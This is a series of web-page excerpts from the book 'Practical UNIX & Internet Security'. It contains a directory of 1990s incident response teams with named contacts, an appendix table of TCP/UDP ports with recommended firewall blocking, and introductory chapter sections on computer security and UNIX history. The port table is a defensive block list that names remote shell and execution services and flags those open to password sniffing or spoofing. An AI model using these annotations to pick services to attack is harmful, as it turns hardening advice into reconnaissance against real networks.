FAX: +1-908-758-4504

F.3.4.6 Boeing

Organization: Boeing CERT (BCERT)
Email: compsec@maple.al.boeing.com
Voice: +1-206-657-9405
After Hours: +1-206-655-2222
FAX: +1-206-657-9477

Note: All Boeing computing and communication assets for all
Boeing Divisions headquartered in Seattle, Washington, with major
out plant operations in Wichita, Kansas; Philadelphia, Pennsylvania;
Huntsville, Alabama; Houston, Texas; Winnipeg, Canada; and worldwide
customer interface offices.

F.3.4.7 Italy: Internet sites

Organization: CERT-IT
Email: cert-it@dsi.unimi.it
Telephone: +39-2-5500-391
Emergency Phone: +39-2-5500-392
FAX: +39-2-5500-394

F.3.4.8 CISCO Systems

Organization: Network Security Council
Email: karyn@cisco.com
Telephone: +1-408-526-5638
FAX: +1-408-526-5420

F.3.4.9 Digital Equipment Corporation and customers

Organization: SSRT (Software Security Response Team)
Email: rich.boren@cxo.mts.dec.com
Voice: +1-800-354-9000
Emergency Phone: +1-800-208-7940
FAX: +1-901-761-6792

F.3.4.10 DOW USA

Organization: DOW USA
Email: whstewart@dow.com
Voice: +1-517-636-8738
FAX: +1-517-638-7705

F.3.4.11 EDS and EDS customers worldwide

Organization: EDS
Email: jcutle01@novell.trts01.eds.com
Voice: +1-313-265-7514
FAX: +1-313-265-3432

F.3.4.12 France: universities, Ministry of Research and Education in France, CNRS, CEA, INRIA, CNES, INRA, IFREMER, and EDF

Organization: RENATER
Email: morel@urec.fr
Voice: +33-1-44-27-26-12
FAX: +33-1-44-27-26-13

F.3.4.13 General Electric

Organization: General Electric Company
Email: sandstrom@geis.geis.com
Voice: +1-301-340-4848
FAX: +1-301-340-4059

F.3.4.14 Germany: DFN-WiNet Internet sites

Organization: DFN-CERT (Deutsches Forschungsnetz)
Email: dfncert@cert.dfn.de
Telephone: +49-40-54715-262
FAX: +49-40-54715-241
FTP: ftp://ftp.cert.dfn.de/pub
WWW: http://www.cert.dfn.de

Note: The DFN-CERT maintains an extensive online archive of
tools, advisories, newsletters and information from other teams
and organizations. It also maintains a directory of European response
teams.

F.3.4.15 Germany: government institutions

Organization: BSI/GISA
Email: fwf@bsi.de
Telephone: +49-228-9582-444
FAX: +49-228-9852-400

F.3.4.16 Germany: Southern area

Organization: Micro-BIT Virus Center
Email: ry15@rz.uni-karlsruhe.de
Voice: +49-721-37-64-22
Emergency Phone: +49-171-52-51-685
FAX: +49-721-32-55-0

F.3.4.17 Hewlett-Packard customers

Organization: HP Security Response Team
Email: security-alert@hp.com

F.3.4.18 JP Morgan employees and customers

Organization: JP Morgan Incident Response Team
Telephone: +1-212-235-5010

F.3.4.19 MCI Corporation

Organization: Corporate System Security
Email: 6722867@mcimail.com
Telephone: +1-719-535-6932
FAX: +1-719-535-1220

F.3.4.20 MILNET

Response Team; DDN (Defense Data Network)
Email: scc@nic.ddn.mil
Voice: +1-800-365-3642
FAX: +1-703-692-5071

F.3.4.21 Motorola, Inc. and subsidiaries

Response Team Motorola Computer Emergency Response Team (MCERT)
Email: mcert@mot.com
Voice: +1-847-576-1616
Emergency Phone: +1-847-576-0669
FAX: +1-847-538-2153

F.3.4.22 NASA: Ames Research Center

Organization: NASA Ames
Email: hwalter@nas.nasa.gov
Telephone: +1-415-604-3402
FAX: +1-415-604-4377

F.3.4.23 NASA: Goddard Space Flight Center

Organization: Goddard Space Flight Center
Email: hmiddleton@gsfcmail.nasa.gov
Telephone: +1-301-286-7233
FAX: +1-301-286-2923

F.3.4.24 NASA: NASA-wide

Organization: NASA Automated Systems Incident Response Capability
Email: nasirc@nasirc.nasa.gov
Voice: +1-800-762-7472 (U.S.)
After Hours: +1-800-759-7243, pin 2023056
FAX: +1-301-441-1853

F.3.4.25 Netherlands: SURFnet-connected sites

Organization: CERT-NL
Email: cert-nl@surfnet.nl
Telephone: +31-302-305-305
FAX: +31-302-305-329

F.3.4.26 NIST (National Institute of Standards and Technology)

Organization: NIST/CSRC
Email: jwack@nist.gov
Telephone: +1-301-975-3359
FAX: +1-301-948-0279

F.3.4.27 NORDUNET: Denmark, Sweden, Norway, Finland, Iceland

Organization: Nordunet
Email: ber@sunet.se
Telephone: +46-8-790-6513
FAX: +46-8-24-11-79

F.3.4.28 Northwestern University

Organization: NU-CERT
Email: nu-cert@nwu.edu
Telephone: +1-847-491-4056
FAX: +1-847-491-3824

F.3.4.29 Pennsylvania State University

Organization: Penn State
Email: krk5@psuvm.psu.edu
Voice: +1-814-863-9533
After Hours: +1-814-863-4375
FAX: +1-814-865-3082

F.3.4.30 Purdue University

Organization: PCERT
Email: pcert@cs.purdue.edu
Voice: +1-317-494-7844
After Hours: +1-317-743-4333, pin 4179
FAX: +1-317-494-0739

F.3.4.31 Small Business Association (SBA): small business community nationwide

Organization: SBA CERT
Email: hfb@oirm.sba.gov
Voice: +1-202-205-6708
FAX: +1-202-205-7064

F.3.4.32 Sprint

Organization: Sprint DNSU
Email: steve.matthews@sprint./sprint.com
Voice: +1-703-904-2406
FAX: +1-703-904-2708

F.3.4.33 Stanford University

Response Team: SUNSet - Stanford University Network Security Team
Email: security@stanford.edu
Telephone: +1-415-723-2911
FAX: +1-415-725-1548

F.3.4.34 Sun Microsystems customers

Organization: Sun Microsystem's Customer Warning System (CWS)
Email: security-alert@sun.com
Voice: +1-415-688-9151
FAX: +1-415-688-8674

F.3.4.35 SWITCH-connected sites

Organization: SWITCH-CERT
Email: cert-staff@switch.ch
Telephone: +41-1-268-1518
FAX: +41-1-268-1568
WWW: http://www.switch.ch/switch/cert
Note: SWTCH
is The Swiss Academic and Research Network

F.3.4.36 TRW network area and system administrators

Computer Emergency Response Committee for Unclassified Systems
Email: zorn@gumby.sp.trw.com
Voice: +1-310-812-1839, 9-5PM, PST
FAX: +1-310-813-4621

F.3.4.37 UK: Defense Research Agency

Organization: Defense Research Agency, Malvern
Email: shore@ajax.dra.hmg.gb
Telephone: +44-1684-895425
FAX: +44-1684-896113

F.3.4.38 U.K. JANET network

Organization: JANET-CERT
Email: cert@cert.ja.net
Telephone: +44-01235-822-302
Fax: +44-01235-822-398

F.3.4.39 UK: other government departments and agencies

Organization: CCTA Email: cbaxter.esb.ccta@gnet.gov.uk
Voice: +44-0171-824-4101/2
FAX: +44-0171-305-3178

F.3.4.40 Unisys internal and external users

Organization: UCERT
Email: garb@po3.bb.unisys.com
Voice: +1-215-986-4038
FAX: +1-212-986-4409

F.3.4.41 U.S. Air Force

Organization: AFCERT
Email: afcert@afcert.csap.af.mil
Voice: +1-210-977-3157
FAX: +1-210-977-4567

F.3.4.42 U.S. Department of Defense

Organization: ASSIST
Email: assist@assist.mil
Voice: +1-800-357-4231 (DSN 327-4700)
FAX: +1-703-607-4735 (DSN 327-4735)

F.3.4.43 U.S. Department of Energy sites, Energy Sciences Network (ESnet), and DOE contractors

Organization: CIAC (Computer Incident Advisory Capability)
Email: ciac@llnl.gov
Voice: +1-510-422-8193
FAX: +1-510-423-8002
FTP: ftp://ciac.llnl.gov/pub/ciac
WWW: http://ciac.llnl.gov

Note: The CIAC maintains an extensive online archive of tools,
advisories, newsletters, and other information.

F.3.4.44 U.S. Department of the Navy

Organization: NAVCIRT (Naval Computer Incident Response Team)
Email: ldrich@fiwc.navy.mil
Voice: +1-804-464-8832
Pager: +1-800-SKYPAGE, pin # 5294117

F.3.4.45 U.S. Veteran's Health Administration

Organization: Veteran's Health Incident Response Security Team
Email: frank.marino@forum.va.gov
Telephone: +1-304-263-0811, ext 4062
FAX: +1-304-263-4748

F.3.4.46 Westinghouse Electric Corporation

Response Team (W)CERT
Email: Nicholson.M%wec@dialcom.tymnet.com
Voice: +1-412-642-3097
FAX: +1-412-642-3871

Previous: F.2 U. S. Government Organizations | Practical UNIX & Internet Security | Next: G. Table of IP Services
F.2 U. S. Government Organizations | Book Index | G. Table of IP Services


[Appendix G] Table of IP Services

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: F.3 Emergency Response Organizations Appendix G

G. Table of IP Services

Table G-1 lists the IP protocols that are commonly used on the Internet. For completeness, it also lists many protocols that are no longer used and are only of historic interest.

You can use this table to help you decide which protocols you do and do not wish to support on your UNIX computers. You can also use this table to help you decide which protocols to pass or block with a screening router, as described in Chapter 21, Firewalls. For example, at most sites you will wish to block protocols such as tftp, sunrpc, printer, rlogin and rexec. Most site administrators will probably wish to allow protocols such as ftp, smtp, domain, and nntp. Other protocols can be problematical.

The "Suggested Firewall Handling" column gives a sample firewall policy that should be sufficient for many sites; in some cases, footnotes provide additional explanation. We generally advise blocking all services that are not absolutely essential. The reason for this suggestion is that even simple services, such as TCP echo, can be used as a means for launching a denial of service attack against your network. These services can also be used by an attacker to learn about your internal network topology. Although these services are occasionally useful for debugging, we feel that their presence is, in general, a liability - an accident waiting to happen. Services which are not listed in this table should be blocked unless you have a specific reason for allowing them to cross your firewall. For detailed information about firewalls policy and filtering, we suggest that you consult Building Internet Firewalls by D. Brent Chapman and Elizabeth D. Zwicky (O'Reilly & Associates, 1995).

The "Notes" section in this table contains a brief description of the service. If the word "Sniff" appears, then this protocol may involve programs that require passwords and may be vulnerable to password sniffing; you may wish to disable it on this basis, or only use it with a one-time password system. The word "Spoof" indicates that the usual programs that use the protocol depend on IP-based authentication for its security and can be compromised with a variety of spoofing attacks. The annotation "Obsolete" appears on protocols which may no longer be in general use. Note that the absence of a "Sniff" or "Spoof" annotation does not mean that the protocol is not vulnerable to such attacks.

The "Site Notes" column is a place where you can make your own notes about what you plan to do at your site.

NOTE: This is not a comprehensive list of TCP and UDP services; instead, it is a list of the services that are most commonly found on UNIX-based computers. If you have computers on your network that are running operating systems other than UNIX, you may wish to pass packets that use ports not discussed here. A complete list of all assigned port numbers can be found in RFC 1700 (or its successors)

In addition to the services noted in the table, you should block all IP addresses coming from outside your network which claim to come from inside your network. That is, any packet coming into your network with a source IP address that indicates it is from your network should be discarded.

IP packets with unusual option bits or invalid combinations of option bits should be blocked. This should probably include packets with source routing or record-route options set.

Fragmented packets should be blocked if the offset for reassembly specifies a zero offset (that would cause the reassembly to rewrite the IP header). [1]

[1] The idea for this table is based, in part, on Appendix B, Important Files from the book Firewalls and Internet Security, by William R. Cheswick and Steven M. Bellovin (Addison-Wesley, 1994).

Table G.1: Common TCP and UDP Services, by Port
Port | Protocol | Name | Notes | Suggested Firewall Handling | Site Notes
1 | TCP | tcpmux | TCP port multiplexer. Rarely used. | Block |
7 | UDP, TCP | echo | Echos UDP packets and characters sent down TCP streams. | Block[2] |
9 | UDP, TCP | discard | Accepts connections, but discards the data. | Block |
11 | TCP | systat | System status - reports the active users on your system. Some systems connect this to who. | Block |
13 | UDP, TCP | daytime | Time of day in human-readable form. | Block[3] |
15 | TCP | netstat | Network status, human-readable. Obsolete (officially unassigned as of 10/94). | Block |
17 | UDP | qotd | Quote of the day. | Block |
19 | UDP, TCP | chargen | Character generator. | Block |
20 | TCP | ftp-data | Data and command ports for FTP. Sniff. | requires special handling. |
21 | TCP | ftp |  |  |
23 | TCP | telnet | Telnet virtual terminal. Sniff. | Be careful. [4] |
24 | UDP, TCP |  | For use by private email systems. | Block |
25 | TCP | smtp | Email. | Allow to your firewall gate or bastion host. |
37 | UDP, TCP | time | Time of day, in machine-readable form. | Block |
38 | UDP, TCP | rap | Route Access Protocol. | Block |
42 | UDP, TCP | name | Host Name Server. Obsolete. | Block |
43 | TCP | whois | Normally only run by NICs. | Outbound only or Block. |
48 | UDP, TCP | auditd | Digital Equipment Corporation audit daemon. | Block |
49 | UDP | tacacs | Sniff. Spoof. | Block. You should place your tacacs authentication servers on the same side of your firewall as your terminal concentrators. |
53 | UDP, TCP | domain | Domain Name Service. Spoof. | Run separate nameservers for internal and external use. If you use firewall proxies, then you only need to provide DNS service on your firewall computer. |
67, 68 | UDP | bootp | Boot protocol. | Block |
69 | UDP | tftp | Trivial FTP. | Block |
70 | TCP | gopher, gopher+ | Text-based information service. Sniff. | Outbound access with proxies. Inbound connections only to an organizational gopher server running on a special host. |
79 | TCP | finger | Return information about a particular user account or machine. | Outbound only. [5] (You may wish to refer inbound finger queries to a particular message.) |
80 | TCP | http | World Wide Web. Sniff. Spoof. | Outbound access with proxies. Inbound connections only to an organizational WWW server running on a special host. |
87 | TCP | link |  | Block |
88 | UDP | kerberos | Distributed authentication mechanism. | Block unless you need inter-realm authentication. |
94 | UDP, TCP | objcall | Tivoli Object Dispatcher. | Block |
95 | TCP | supdup | Virtual terminal similar to Telnet, rarely used. Sniff. | Block |
109 | TCP | pop-2 | Post Office Protocol, allows reading mail over Internet. Sniff. | Block unless there is a specific need to access email through firewall. Consider using APOP, which is not susceptible to password sniffing. If you do pass this service, pass inbound connections only to your email host. |
110 | TCP | pop-3 | Better Post Office Protocol. Sniff. |  |
111 | UDP, TCP | sunrpc | Sun RPC portmapper. Spoof. [6] | Block |
113 | TCP | auth | TCP authentication service. Identifies the username belonging to a TCP connection.Spoof. | Limit or block incoming requests.[7] |
119 | TCP | nntp | Network News Transport Protocol. | Block with exceptions.[8] |
121 | UDP, TCP | erpc | Encore Expedited Remote Procedure Call. | Block |
123 | UDP, TCP | ntp | Network Time Protocol. Spoof. | Block with exceptions.[9] |
126 | UDP, TCP | unitary | Unisys Unitary Login. | Block |
127 | UDP, TCP | locus-con | Locus PC-Interface Conn Server. | Block |
130 | UDP, TCP | cisco-fna | Cisco FNATIV. | Block with exceptions. |
131 | UDP, TCP | cisco-tna | Cisco TNATIVE. | Block with exceptions. |
132 | UDP, TCP | cisco-sys | Cisco SYSMAINT. | Block with exceptions. |
137 | UDP, TCP | netbios-ns | NETBIOS Name Service. | Block NETBIOS unless there is a specific host with which you need to exchange NETBIOS information. NETBIOS over TCP/IP is best handled with encrypted tunneling. |
138 | UDP, TCP | netbios-dgm | NETBIOS Datagram Service. |  |
139 | UDP, TCP | netbios-ssn | NETBIOS Session Service. |  |
144 | UDP, TCP | news | Sun NeWS (Network Window System). Possibly Sniff. Spoof. Obsolete. | Block |
156 | UDP, TCP | sqlsrv | SQL Service. Sniff. | Block |
161 | UDP, TCP | snmp | Simple Network Management Protocol agents. Spoof. Sniff. | Block |
162 | UDP, TCP | snmptrap | SNMP traps. | Block under most circumstances, although you may wish to allow traps from an external gateway to reach your internal network monitors. |
177 | UDP, TCP | xdmcp | X Display Manager (XDM) Control Protocol. Sniff.Possibly Spoof. | Block. You may wish to allow outgoing connections in special circumstances. |
178 | UDP, TCP | NSWS | NEXTSTEP Window Server. Possibly Sniff.Spoof. | Block |
194 | UDP, TCP | irc | Internet Relay Chat Protocol. | Block |
199 | UDP, TCP | smux | SMUX (IBM). | Block |
200 | UDP, TCP | src | IBM System Resource Controller. | Block |
201 | UDP, TCP | at-rtmp | AppleTalk Routing Maintenance. | Block AppleTalk unless there is a specific host or network with which you need to exchange AppleTalk information. AppleTalk over TCP/IP is best handled through encrypted tunneling. |
202 | UDP, TCP | at-nbp | AppleTalk Name Binding. |  |
203 | UDP, TCP | at-3 | AppleTalk Unused. |  |
204 | UDP, TCP | at-echo | AppleTalk Echo. |  |
205 | UDP, TCP | at-5 | AppleTalk Unused. |  |
206 | UDP, TCP | at-zis | AppleTalk Zone Information. |  |
207 | UDP, TCP | at-7 | AppleTalk Unused. |  |
208 | UDP, TCP | at-8 | AppleTalk Unused. |  |
210 | TCP | wais | WAIS server. Sniff. | Block unless you run a server. |
220 | TCP | imap | POP replacement. Sniff. | Block unless there is a specific need to access email through the firewall. If you do pass this service, pass inbound connections only to your email host. |
387 | TCP | avrp | AppleTalk Routing. | Block |
396 | UDP, TCP | netware-ip | Novell Netware over IP. Sniff. | Block |
411 | UDP, TCP | rmt | Remote Tape. | Block |
512 | UDP | biff | Real-time mail notification. | Block |
512 | TCP | exec | Remote command execution. Sniff.Spoof. | Block |
513 | UDP | rwho | Remote who command. | Block |
513 | TCP | login | Remote login. Sniff. Spoof. | These protocols are vulnerable to problems with "trusted hosts" and .rhost files. Block them if at all possible. |
514 | TCP | shell | rsh. Sniff. Spoof. |  |
514 | UDP | syslog | syslog logging. | Block |
515 | TCP | printer | Berkeley lpr system. Spoof. | Block |
517 | UDP | talk | Initiate talk requests. | You should probably block these protocols for incoming and outgoing use. If you wish to permit your users to receive talk requests from outside sites, then you must allow user machines to receive TCP connections on any TCP/IP port over 1024. The protocols further require that both hostnames and usernames of your internal users be made available to outsiders. talk can further be used to harass users. |
518 | UDP | ntalk | Initiate talk requests. |  |
520 | UDP | route | Routing control. Spoof. | Block |
523 | UDP, TCP | timed | Time server daemon. Spoof. | Block |
532 | UDP, TCP | netnews | Remote readnews. | Block |
533 | UDP, TCP | netwall | Network Write to all users. | Block |
540 | TCP | uucp | Used mostly for sending batches of Usenet news. Sniff. Spoof. | Block unless there are specific hosts with which you wish to exchange UUCP information. |
550 | UDP, TCP | nrwho | New rwho. | Block |
566 | UDP, TCP | remotefs | RFS remote filesystem. Sniff. Spoof. | Block |
666 | TCP | mdqs | Replacement for Berkeley's printer system. | Block |
666 | UDP, TCP | doom | Doom game. | Block |
744 | TCP | FLEXlm | FLEX license manager. | Block |
754 | TCP | tell | Used by send | Block |
755 | UDP | securid | Security Dynamics ACE/Server. Sniff [10] | Block |
765 | TCP | webster | Dictionary service. | Block |
1025 | TCP | listener | System V Release 3 listener. | Block |
1352 | UDP, TCP | lotusnotes | Lotus Notes mail system. | Block |
1525 | UDP | archie | Tells you where things are on the Internet. | Block, except the specific archie servers you want to use. |
2000 | TCP | OpenWindows | Sun proprietary window system. | Block |
2049 | UDP, TCP | nfs | Sun NFS Server (usually). Spoof. | Block |
2766 | TCP | listen | System V listener. | Block |
3264 | UDP, TCP | ccmail | Lotus cc:Mail. | Block |
5130 | UDP | sgi-dogfight | Silicon Graphics flight simulator. | Block |
5133 | UDP | sgi-bznet | Silicon Graphics tank demo. | Block |
5500 | UDP | securid | Security Dynamics ACE/Server version 2. Sniff. [11] | Block |
5510 | TCP | securidprop | Security Dynamics ACE/Server slave. Sniff. [12] | Block |
5701 | TCP | xtrek | X11 xtrek. | Block |
6000 thru 6063 | TCP | x-server | X11 server. Sniff. Spoof. | Block |
6667 | TCP | irc | Internet Relay Chat. | Block |
7000 thru 7009 | UDP, TCP | afs | Andrew File System. Spoof. | Block |
7100 | TCP | font-service | X Server font service. | Block |

[2] Protocols such as echo can be used to probe the internal configuration of your network. They can also be used for creative denial of service attacks.

[3] As some programs use the system's real time clock as the basis of a cryptographic key, revealing this quantity on the Internet can lead to the compromise of some security-related protocols.

[4] Telnet Server. Conventional Telnet may result in passwords being sniffed on the network. You may wish to only allow specially encrypted or authenticated Telnet.

[5] The finger client program can be susceptible to certain kinds of data-driven attacks if you do not use a suitable finger wrapper.

[6] But note that a port scan can still find RPC servers even if portmapper is blocked.

[7] As discussed in the text, the values returned as part of this service are unreliable if the remote machine is not under your control.

[8] Outbound and inbound NNTP connections should only be allowed to the pre-established sites with which you exchange news.

[9] Allowing NTP from outside machines opens your site to time-spoofing attacks. If you must receive your time from outside your site via the Internet, only allow NTP packets from specified hosts.

[10] Traffic may be encrypted, but the administrator may decide not to turn this on. Export versions (non-U.S.) do not have encryption available.

[11] See note 10.

[12] See note 10.

Previous: F.3 Emergency Response Organizations | Practical UNIX & Internet Security
F.3 Emergency Response Organizations | Book Index


[Chapter 1] Introduction

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: I. Computer Security Basics Chapter 1 Next: 1.2 What Is an Operating System?

1. Introduction

Contents:
What Is Computer Security?
What Is an Operating System?
History of UNIX
Security and UNIX
Role of This Book

In today's world of international networks and electronic commerce, every computer system is a potential target. Rarely does a month go by without news of some major network or organization having its computers penetrated by unknown computer criminals. Although some computer "hackers" (see the sidebar below) have said that such intrusions are merely teenage pranks or fun and games, these intrusions have become more sinister in recent years: computers have been rendered inoperable; records have been surreptitiously altered; software has been replaced with secret "back doors" in place; proprietary information has been copied without authorization; and millions of passwords have been captured from unsuspecting users.

Even if nothing is removed or altered, system administrators must often spend hours or days reloading and reconfiguring a compromised system to regain some level of confidence in the system's integrity. There is no way to know the motives of an intruder and the worst must be assumed. People who break into systems simply to "look around" do real damage, even if they do not read confidential mail and do not delete any files. If computer security was once the subject of fun and games, those days have long since passed.

Many different kinds of people break into computer systems. Some people - perhaps the most widely publicized - are the equivalent of reckless teenagers out on electronic joy rides. Like youths who "borrow" fast cars, their main goal isn't necessarily to do damage, but to have what they consider to be a good time. Others are far more dangerous: some people who compromise system security are sociopaths, joyriding around the networks bent on inflicting damage on unsuspecting computer systems. Others see themselves at "war" with rival hackers; woe to innocent users and systems who happen to get in the way of cyberspace "drive-by shootings!" Still others are out for valuable corporate information, which they hope to resell for profit. There are also elements of organized crime, spies and saboteurs motivated by both greed and politics, terrorists, and single-minded anarchists using computers and networks.

Who Is a Computer Hacker?

HACKER noun 1. A person who enjoys learning the details of computer systems and how to stretch their capabilities - as opposed to most users of computers, who prefer to learn only the minimum amount necessary. 2. One who programs enthusiastically or who enjoys programming rather than just theorizing about programming.

Guy L. Steele, et al., The Hacker's Dictionary

There was a time when computer security professionals argued over the term "hacker." Some thought that hackers were excellent and somewhat compulsive computer programmers, like Richard Stallman, founder of the Free Software Foundation. Others thought that hackers were computer criminals, more like convicted felon Mark Abene, a.k.a "Phiber Optik." Complicating this discussion was the fact that many computer security professionals had formerly been hackers themselves - of both persuasions. Some were anxious to get rid of the word, while others wished to preserve it.

Today the confusion over the term hacker has largely been resolved. While some computer professionals continue to call themselves "hackers," most don't. In the mind of the public, the word "hacker" has been firmly defined as a person exceptionally talented with computers who often misuses that skill. Use of the term by members of the news media, law enforcement, and the entertainment industry has only served to reinforce this definition.

In some cases, we'll refer to people who break into computers, and present a challenge for computer security, by a variety of names: "crackers," "bad guys," and occasionally "hackers." However, in general, we will try to avoid these labels and use more descriptive terms: "intruders," "vandals," or simply, "criminals."

The most dangerous computer criminals are usually insiders (or former insiders), because they know many of the codes and security measures that are already in place. Consider the case of a former employee who is out for revenge. The employee probably knows which computers to attack, which files will cripple the company the most if deleted, what the defenses are, and where the backup tapes are stored.

Despite the risks, interest in computer networking and the Internet has never been greater. The number of computers attached to the Internet has approximately doubled every year for nearly a decade. By all indications, this growth is likely to continue for several years to come. With this increased interest in the Internet, there has been growing interest in UNIX as the operating system of choice for Internet gateways, high-end research machines, and advanced instructional platforms.

Years ago, UNIX was generally regarded as an operating system that was difficult to secure. This reputation was partially unfounded. Although part of UNIX's poor reputation came from design flaws and bugs, a bigger cause for blame rested with the traditional use of UNIX and with the poor security consciousness of its users. For its first 15 years, UNIX was used primarily in academia, the computing research community, the telephone company, and the computer industry itself. In most of these environments, computer security was not a priority (until perhaps recently). Users in these environments often configured their systems with lax controls, and even developed philosophies that viewed strong security as something to avoid. Because they cater to this community (and hire from it), many UNIX vendors have developed a culture that has been slow to incorporate more practical security mechanisms into their products.[1]

[1] James Ellis at CERT suggests that another reason for UNIX's poor security record has to do with the wide-spread availability of UNIX source code, which allows for detailed inspection by potential attackers for weaknesses. Buffer overflows or coding errors that would be reported on other systems as merely causing crashes are reported frequently on UNIX with detailed programs that break system security.

Perhaps the best known demonstration of UNIX vulnerability to date occurred in November 1988. That was when Robert T. Morris released his infamous "Internet worm" program, which spread to thousands of computers in a matter of hours. That event served as a major wake-up call for many UNIX users and vendors. Since then, users, academics, and computer manufacturers have usually worked together to try to improve the security of the UNIX operating system. Many of the results of those efforts are described in this book.

But despite the increasing awareness and the improvements in defenses, the typical UNIX system is still exposed to many dangers. The purpose of this book is to give readers a fundamental understanding of the principles of computer security and to show how they apply to the UNIX operating system. We hope to show you practical techniques and tools for making your system as secure as possible, especially if it is running some version of UNIX. Whether you are a user or administrator, we hope that you will find value in these pages.

1.1 What Is Computer Security?

Terms like security, protection, and privacy often have more than one meaning. Even professionals who work in information security do not agree on exactly what these terms mean. The focus of this book is not formal definitions and theoretical models so much as practical, useful information. Therefore, we'll use an operational definition of security and go from there.

Computer Security: "A computer is secure if you can depend on it and its software to behave as you expect."

If you expect the data entered into your machine today to be there in a few weeks, and to remain unread by anyone who is not supposed to read it, then the machine is secure. This concept is often called trust: you trust the system to preserve and protect your data.

By this definition, natural disasters and buggy software are as much threats to security as unauthorized users. This belief is obviously true from a practical standpoint. Whether your data is erased by a vengeful employee, a random virus, an unexpected bug, or a lightning strike - the data is still gone.

Our practical definition might also imply to some that security is concerned with issues of testing your software and hardware, and with preventing user mistakes. However, we don't intend our definition to be that inclusive. That's why the word "practical" is in the title of this book - and why we won't try to be more specific about defining what "security" is, exactly. A formal definition wouldn't necessarily help you any more than our working definition, and would require detailed explanations of risk assessment, asset valuation, policy formation, and a number of other topics beyond what we are able to present here.

On the other hand, knowing something about these concepts is important in the long run. If you don't know what you're protecting, why you're protecting it, and what you are protecting it from, your task will be rather difficult! Furthermore, you need to understand how to establish and apply uniform security policies. Much of that is beyond the scope of what we hope to present here; thus, we'll discuss a few of these topics in Chapter 2, Policies and Guidelines, Policies and Guidelines. We'll also recommend that you examine some of the references available. Several good introductory texts in this area, including Computer Security Basics (Russell and Gangemi), Computer Crime: A Crimefighter's Handbook (Seger, VonStorch, and Icove), and Control and Security of Computer Information Systems (Fites, Kratz, and Brebner) are listed in Appendix D, Paper Sources. Other texts, university courses, and professional organizations can provide you with more background. Security isn't a set of tricks, but an ongoing area of specialization.

This book emphasizes techniques to help keep your system safe from other people - including both insiders and outsiders, those bent on destruction, and those who are simply ignorant or untrained. The text does not detail every specific security-related feature that is available only on certain versions of UNIX from specific manufacturers: companies that take the time to develop such software usually deliver it with sufficient documentation.

Throughout this book, we will be presenting mechanisms and methods of using them. To decide which mechanisms are right for you, take a look at Chapter 2. Remember, each site must develop its own overall security policies, and those policies will determine which mechanisms are appropriate to use. End users should also read Chapter 2 - users should be aware of policy considerations, too.

For example, if your local policy is that all users can build and install programs that can be accessed by other users, then you may wish to set the file permissions on /usr/local/bin to be mode 1777, which allows users to add their own files but does not generally allow them to delete files placed there by other users. If you don't wish to take the risk of allowing users to install publicly accessible programs that might contain Trojan horses or trap doors,[2] a more appropriate file permissions setting for /usr/local/bin might be 755.[3]

[2] For an example of such a program, consider a rogue user who installs a program called ls that occasionally deletes files instead of listing them.

[3] See Chapter 5, The UNIX Filesystem, for a discussion of these protection modes.

Previous: I. Computer Security Basics | Practical UNIX & Internet Security | Next: 1.2 What Is an Operating System?
I. Computer Security Basics | Book Index | 1.2 What Is an Operating System?


[Chapter 1] 1.2 What Is an Operating System?

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 1.1 What Is Computer Security? Chapter 1
Introduction 		Next: 1.3 History of UNIX

1.2 What Is an Operating System?

For most people, a computer is a tool for solving problems. When running a word processor, a computer becomes a machine for arranging words and ideas. With a spreadsheet, the computer is a financial planning machine, one that is vastly more powerful than a pocket calculator. Connected to an electronic network, a computer becomes part of a powerful communications system.

At the heart of every computer is a master set of programs called the operating system. This is the software that controls the computer's input/output systems such as keyboards and disk drives, and that loads and runs other programs. The operating system is also a set of mechanisms and policies that help define controlled sharing of system resources.

Along with the operating system is a large set of standard utility programs for performing common functions such as copying files and listing the contents of directories. Although these programs are not technically part of the operating system, they can have a dramatic impact on a computer system's security.

All of UNIX can be divided into three parts:

  • The kernel, or the heart of the UNIX system, is the operating system. The kernel is a special program that is loaded into the computer when it is first turned on. The kernel controls all of the computer's input and output systems; it allows multiple programs to run at the same time, and it allocates the system's time and memory among them. The kernel includes the filesystem, which controls how files and directories are stored on the computer's hard disk. The filesystem is the main mechanism by which computer security is enforced. Some modern versions of UNIX allow user programs to load additional modules, such as device drivers, into the kernel after the system starts running.

  • Standard utility programs are run by users and by the system. Some programs are small and serve a single function - for example, /bin/lslists files and /bin/cp copies them. Other programs are large and perform many functions - for example, /bin/sh and /bin/csh, UNIX shells that process user commands, are themselves programming languages.

  • System database files, most of which are relatively small, are used by a variety of programs on the system. One file, /etc/passwd, contains the master list of every user on the system. Another file, /etc/group, describes groups of users with similar access rights.

From the point of view of UNIX security, these three parts interact with a fourth entity:

  • Security policy, which determines how the computer is run with respect to the users and system administration. Policy plays as important a role in determining your computer's security as the operating system software. A computer that is operated without regard to security cannot be trusted, even if it is equipped with the most sophisticated and security-conscious software. For this reason, establishing and codifying policy plays a very important role in the overall process of operating a secure system. This is discussed further in Chapter 2.

Previous: 1.1 What Is Computer Security? | Practical UNIX & Internet Security | Next: 1.3 History of UNIX
1.1 What Is Computer Security? | Book Index | 1.3 History of UNIX


[Chapter 1] 1.3 History of UNIX

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 1.2 What Is an Operating System? Chapter 1
Introduction 		Next: 1.4 Security and UNIX

1.3 History of UNIX

The roots of UNIX[4] go back to the mid-1960s, when American Telephone and Telegraph, Honeywell, General Electric, and the Massachusetts Institute of Technology embarked on a massive project to develop an information utility. The project, called MULTICS (standing for Multiplexed Information and Computing Service), was heavily funded by the Department of Defense Advanced Research Projects Agency (ARPA, once also known as DARPA). Most of the research took place in Cambridge, Massachusetts, at MIT.

[4] A more comprehensive history of UNIX, from which some of the following is derived, is Peter Salus's book, A Quarter Century of UNIX, mentioned in Appendix D.

MULTICS was a modular system built from banks of high-speed processors, memory, and communications equipment. By design, parts of the computer could be shut down for service without affecting other parts or the users. The goal was to provide computer service 24 hours a day, 365 days a year - a computer that could be made faster by adding more parts, much in the same way that a power plant can be made bigger by adding more furnaces, boilers, and turbines. Although this level of processing is simply assumed today, such a capability was not available when MULTICS was begun.

